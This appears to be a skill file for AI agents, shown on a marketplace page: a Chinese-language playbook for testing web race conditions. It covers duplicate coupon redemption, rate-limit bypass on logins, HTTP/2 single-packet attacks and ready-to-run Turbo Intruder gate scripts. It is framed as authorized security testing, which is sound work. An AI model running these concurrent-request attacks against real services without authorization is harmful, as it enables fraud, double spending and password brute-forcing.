race-condition

race-condition

熱門

Web 应用程序的 Race condition(竞态条件)与 TOCTOU 漏洞测试。适用于测试一次性操作、并发 HTTP 滥用、绕过速率限制(Rate-limit bypass)、Turbo Intruder gate 闸门并发、HTTP/2 单一封包攻击(Single-packet attacks)以及 CWE-362 类型的同步时隙漏洞。

1528星標
197分支
更新於 2026/6/16
SKILL.md
唯讀
名稱
race-condition
描述

Web 应用程序的 Race condition(竞态条件)与 TOCTOU 漏洞测试。适用于测试一次性操作、并发 HTTP 滥用、绕过速率限制(Rate-limit bypass)、Turbo Intruder gate 闸门并发、HTTP/2 单一封包攻击(Single-packet attacks)以及 CWE-362 类型的同步时隙漏洞。

SKILL: Race Conditions — Testing & Exploitation Playbook

AI LOAD INSTRUCTION: 将 Race condition 视为授权/状态完整性问题:非原子化的「先读取后写入(read-then-write)」会让多个请求观察到过期的旧状态。优先测试一次性操作余额类操作。结合平行传输手段(HTTP/1.1 最后一字节同步、HTTP/2 单一封包、Turbo Intruder gates)与应用层证据(重复的成功响应、不一致的余额、重复的账目记录)。仅限已授权测试。 路由说明:对于业务流程、优惠券、库存或一次性奖励,请由此 Skill 入手并交叉载入 business-logic-vulnerabilities


0. QUICK START — What to Test First

针对**检查(check)更新(update)**不太可能属于单一数据库原子操作的端点:

Priority Operation class Example paths / parameters
1 一次性兑换 / 优惠券 / 奖励 redeem, apply_coupon, claim_reward, voucher
2 余额 / 配额 / 扣减库存 transfer, purchase, reserve, inventory
3 邀请 / 推荐 / 注册奖励 invite_accept, referral_claim
4 密码 / 邮箱 / MFA 验证 verify_token, confirm_email, reset_password
5 缺乏强键值约束、看似具备幂等性的 API POST (每个用户理应只能成功一次)

初步操作(概念)

  1. 在代理(Proxy)中截获会变更状态的请求。
  2. 在工具支持的范围内,尽可能同时发送 20–100 个重复请求。
  3. 分类结果:预期仅 0/1 次成功 vs 多次成功(N 次)最终状态不一致

1. CORE CONCEPT

1.1 TOCTOU (Time-of-check to time-of-use)

Thread A                    Thread B
   |                            |
   +-- CHECK (resource OK)      |
   |                            +-- CHECK (resource OK)  ← both see "OK"
   +-- USE / UPDATE             |
   |                            +-- USE / UPDATE           ← duplicate effect

TOCTOU 代表决策(检查 CHECK)与状态变更(使用 USE)并非不可分割的单一原子步骤。

1.2 Non-atomic read-then-write

常见的易受攻击伪代码流程:

balance = SELECT balance FROM accounts WHERE id = ?
if balance >= amount:
    UPDATE accounts SET balance = balance - ? WHERE id = ?

两个并发请求都可能在任何一个 UPDATE 事务提交之前,同时通过 if 条件判断。

1.3 Database-level vs application-level locking gaps

Layer What goes wrong
Application 内存标记、缓存或 Session 显示「尚未被使用」,但数据库其实已更新 — 反之亦然。
ORM / service 多个实例且未挂载分布式锁,各个实例都以为自己拥有唯一的决策权。
DB 缺乏 SELECT … FOR UPDATE、隔离级别配置错误,或逻辑分散在多个非事务处理的 SQL 语句中。
API gateway 基于 IP 的速率限制采用先检查后递增机制 — 并发突发请求绕过了重复检查。

提示UNIQUE(唯一)约束与幂等键(Idempotency keys)通常能直接根除一整类漏洞 — 需测试应用是否在核心关键路径上严格执行这些约束。


2. ATTACK PATTERNS

2.1 Limit-overrun (double redeem / double claim)

平行发送多个完全相同且已身份验证的请求:

POST /api/v1/rewards/claim HTTP/1.1
Host: target.example
Authorization: Bearer <token>
Content-Type: application/json

{"reward_id":"welcome_bonus"}

成功迹象:收到多次 HTTP 200/201 响应、产生重复的账目记录,或最终余额高于系统规则所允许的上限。

2.2 Rate-limit bypass via simultaneity

如果速率限制是以每次请求检查计数器的方式实现,而未采用原子递增:

POST /api/v1/login HTTP/1.1
Host: target.example
Content-Type: application/json

{"email":"victim@example.com","password":"wrong"}

在一个波次内并发发出 N 次尝试;并与 N 次顺序发送的请求做对比。

成功迹象:接受的失败尝试次数超过设定的上限,或者当突发并发请求在单一时间窗口内完成时未触发锁定。

2.3 Multi-step exploitation (beat the pipeline)

工作流程:创建 → 支付 → 确认。如果**确认(confirm)步骤在密码学或逻辑上未与支付(pay)**的完成做强绑定:

  1. 在相同的 Session 或项目中启动两条平行的操作管道。
  2. 在通道 A 的支付仍处于传输中或已放弃时,直接在通道 B 上完成确认

成功迹象:项目在未完成对应支付的情况下被标记为已支付/已发货,或者状态发生了逆向跳跃。


3. HTTP/1.1 LAST-BYTE SYNCHRONIZATION

核心概念:保持所有请求处于阻塞状态,直到每个 Socket 都已发送完整请求(仅留 Body 的最后一个字节未发);接着统一同时释放这最后一个字节,使服务器在极短的时间间隔内集中接收到所有请求。

Client 1: [headers + body - 1 byte] ----hold----+
Client 2: [headers + body - 1 byte] ----hold----+--> flush last byte together
Client N: [headers + body - 1 byte] ----hold----+

原因:相较于在 Repeater 中简单的顺序点按,此方法可大幅降低各个请求副本之间的网络抖动(Network jitter)

工具:自定义脚本、部分 Burp 扩展程序,或者 Turbo Intrudergate 模式(参见第 5 节)作为同步释放的实用方案。


4. HTTP/2 SINGLE-PACKET ATTACK

核心概念:多路复用(Multiplex)多个完整的 HTTP/2 流,并将它们的 Frame 合并,使所有请求的首字节能打包在同一个 TCP 报文段(Segment)中从网卡发出(或间隔极小)。接收端的调度器随后能以**毫秒以下(Sub-millisecond)**的微小时间差处理这些请求。

Burp Repeater(现代工作流程)

  1. 打开多个标签页或选中多个请求。
  2. 在支持的界面中使用 Send group (parallel) / single-packet attack
  3. 若目标支持 HTTP/2,请优先选用 HTTP/2。
  [ Req A stream ]
  [ Req B stream ]  --HTTP/2-->  one burst -->  app worker pool
  [ Req C stream ]

为何通常优于 HTTP/1.1 最后一字节技巧:在物理线路上的排列更紧密;对单条连接序列化的依赖度更低。


5. TURBO INTRUDER TEMPLATES

存储库:PortSwigger/turbo-intruder(Burp Suite 扩展)。

5.1 Template 1 — Same endpoint, gate release

设置concurrentConnections=30requestsPerConnection=30,使用 gate 确保所有线程同步触发。

核心模式(重复 N 次后统一释放):

for _ in range(N):
    engine.queue(request, gate='race1')
engine.openGate('race1')
def queueRequests(target, wordlists):
    engine = RequestEngine(endpoint=target.endpoint,
                           concurrentConnections=30,
                           requestsPerConnection=30,
                           pipeline=False,
                           engine=Engine.THREADED,
                           maxRetriesPerRequest=0
                           )

    for i in range(30):
        engine.queue(target.req, gate='race1')

    engine.openGate('race1')

def handleResponse(req, interesting):
    table.add(req)

请求头要求(在入列的每个副本中需保持唯一以方便日志比对;Turbo Intruder 的 payload 占位符):

x-request: %s

当配合 Wordlist(或其他 Payload 来源)使用时,Turbo Intruder 会替换每个请求中的 %s — 在发送至 Turbo Intruder 之前,请在 Repeater 的基础请求中保留此 Header。HTTP Header 不区分大小写;请使用一致的名称以方便用 grep 查找日志。

5.2 Template 2 — Multi-endpoint, same gate

模式:包含一个发送至 target-1POST(状态变更)以及多个发送至 target-2GET(读取端),并同时释放,从而扩大对 TOCTOU 时间窗口的观察视野。

def queueRequests(target, wordlists):
    engine = RequestEngine(endpoint=target.endpoint,
                           concurrentConnections=30,
                           requestsPerConnection=30,
                           pipeline=False,
                           engine=Engine.THREADED,
                           maxRetriesPerRequest=0
                           )

    engine.queue(post_to_target1, gate='race1')
    for _ in range(30):
        engine.queue(get_target2, gate='race1')

    engine.openGate('race1')

若端点不同,可通过复制 RequestEngine 实例来调整 Host/Path(Turbo Intruder 支持多个 Engine — 详情请参阅对应 Burp 版本的官方文档)。


6. CVE REFERENCE — CVE-2022-4037

CVE-2022-4037 (GitLab CE/EE):竞态条件(Race condition)导致已验证邮箱地址伪造漏洞;当产品作为 OAuth 身份提供者(OAuth identity provider) 时存在高风险 — 涉及第三方账号关联与影响场景。属于 CWE-362。公开研究展示了利用 HTTP/2 单一封包的时序技巧,成功捕获极窄的时隙窗口。

测试人员要点:邮箱验证、OAuth 账号绑定以及「所有权确认」流程都是高价值的 Race condition 测试目标,绝不仅限于优惠券与余额。

参考资料(官方 / 中立)


7. TOOLS

Tool Role
PortSwigger/turbo-intruder Burp 中的高并发重放、**闸门控制(Gates)**与脚本扩展。
JavanXD/Raceocat 专注 Race condition 的 HTTP 客户端模式(请先确认与技术栈的兼容性)。
nxenon/h2spacex HTTP/2 底层 / 单一封包风格测试实验(请负责任地使用,仅限于授权目标)。
Burp Suite — Repeater 通过 Send group (parallel) / single-packet attack 实现多请求同步。

8. DECISION TREE

                         START: state-changing API?
                                    |
                     NO -----------+---------- YES
                      |                        |
                   stop here              one-time / balance / verify?
                                                    |
                          +-------------------------+-------------------------+
                          |                         |                         |
                    coupon-like                 rate limit                  multi-step
                          |                         |                         |
                   parallel same req          parallel vs serial         parallel pipelines
                          |                         |                         |
                   duplicate success?           limit exceeded?          state mismatch?
                     /       \                    /       \                  /       \
                   YES       NO                 YES       NO               YES       NO
                    |         |                  |         |                |         |
              report +    try HTTP/2        report +    try TI        report +   deepen
              evidence    single-packet      evidence    gates                     per-step
                    |         |                  |         |                |         |
                    +----+----+                  +----+----+                +----+----+
                         |                            |                          |
                    tool pick                    tool pick                  tool pick
                         v                            v                          v
              Burp group / h2spacex            TI gates / Raceocat          TI + trace IDs

如何确认漏洞(证据清单)

  1. 在并发条件下可稳定重现重复成功,而非偶然的单次重试。
  2. 存在服务器端痕迹:两条数据库记录、两封邮件、两次授权发放或错误的最终余额。
  3. 利用 x-request(或类似)标记或唯一的请求体数据进行关联比对